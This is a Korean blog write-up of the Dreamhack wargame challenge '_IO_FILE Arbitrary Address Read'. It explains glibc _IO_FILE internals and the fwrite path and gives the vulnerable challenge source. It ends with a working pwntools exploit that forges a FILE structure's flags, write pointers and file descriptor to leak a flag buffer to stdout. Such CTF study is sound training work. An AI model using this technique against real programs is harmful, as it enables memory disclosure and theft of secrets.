security/포너블 - dreamhack

[Dreamhack Wargame] _IO_FILE Arbitrary Address Read

민사민서 2023. 6. 23. 21:44

_IO_FILE 구조체 기본 개념

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_flags 멤버변수

- 상위 2바이트는 매직 넘버로, 0xfbad0000 고정

- 하위 2바이트는 플래그: _IO_IS_APPENDING(0x1000), _IO_NO_READS(0x0004) , _IO_NO_WRITES(0x0008), _IO_CURRENTLY_PUTTING (0x0800)

_fileno 멤버변수

- 파일 디스크립터의 값

  fp = fopen("testfile", "w");

위 예제 코드의 fp가 가리키는 _IO_FILE 구조체 일부

fwrite() 함수 동작원리

* _IO_new_file_overflow 함수에서 _flags 변수에 _IO_NO_WRITES 플래그 OFF되어있는지 확인

* new_do_write 함수에서 _flags 변수에 _IO_IS_APPENDING 플래그 ON되어있는지 확인

* new_do_write 함수에서 _IO_read_end와 _IO_write_base가 다르면 lseek syscall 호출

// lseek syscall 호출 막기위해 _IO_write_base 조작 시 _IO_read_end도 동일한 값으로 조작

 

=> 결과적으로 f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base 를 이용해 write syscall 호출

 

검증?

fwrite() 직후에 bp 걸어놓고 fp가 가리키는 _IO_FILE 구조체의 _IO_write_base 변수를 확인해보자

pwndbg> x/gx 0x601080
0x601080 <fp>:	0x0000000001d1e260
pwndbg> vmmap 0x0000000001d1e260
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
         0x1d1e000          0x1d3f000 rw-p    21000      0 [heap] +0x260
pwndbg> x/20gx 0x0000000001d1e260
0x1d1e260:	0x00000000fbad0a30	0x0000000001d1e490
0x1d1e270:	0x0000000001d1e490	0x0000000001d1e490
0x1d1e280:	0x0000000001d1e490	0x0000000001d1e890
0x1d1e290:	0x0000000001d1e490	0x0000000001d1e490
0x1d1e2a0:	0x0000000001d1f490	0x0000000000000000
0x1d1e2b0:	0x0000000000000000	0x0000000000000000
0x1d1e2c0:	0x0000000000000000	0x00007fc1645a7680
0x1d1e2d0:	0x0000000000000003	0x0000000000000000
0x1d1e2e0:	0x0000000000000000	0x0000000001d1e340
0x1d1e2f0:	0xffffffffffffffff	0x0000000000000000
pwndbg> x/s 0x0000000001d1e490
0x1d1e490:	"TEST FILE!"

- _IO_write_base에 /tmp/testfile에 쓰일 문자열이 들어있었고

- _IO_write_ptr은 _IO_write_base보다 0x400 (sizeof(flag_buf) 만큼 떨어져있었다

- _IO_read_ptr ~ _IO_buf_end 동일한 값을 갖네 (_IO_write_ptr만 0x400 큰 값)

문제 소스코드

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
    FILE *fp;
    fp = fopen("/home/iofile_aar/flag", "r");
    fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
    fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  read_flag();

  fp = fopen("/tmp/testfile", "w");
  printf("Data: ");
  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}
  • Partial RELRO   No canary found   NX enabled    No PIE 
  • read로 _IO_FILE 구조체 overwrite 가능
  • _fileno = 1(stdout) , _IO_write_base 를 flag_buf , _IO_write_ptr 를 flag_buf+0x400 으로 overwrite

exploit 코드

from pwn import *

p = remote("host3.dreamhack.games", 15021)

flag_buf = 0x6010a0

pay =  p64(0xfbad0000 | 0x800) # _IO_IS_APPENDING (없으면 기존 data 문자열 "TEST FILE!"이 써짐)
pay += p64(0) + p64(flag_buf) + p64(0) # _IO_read_ptr + _IO_read_end + _IO_read_base
pay += p64(flag_buf) + p64(flag_buf+0x400) # _IO_write_base + _IO_write_ptr
pay += p64(0)*8
pay += p64(1) # _fileno

p.sendafter("Data: ", pay)
p.interactive()

- 플래그 값으로 _IO_IS_APPENDING 주는 거랑 _IO_read_end 조작하는 것 잊지 말자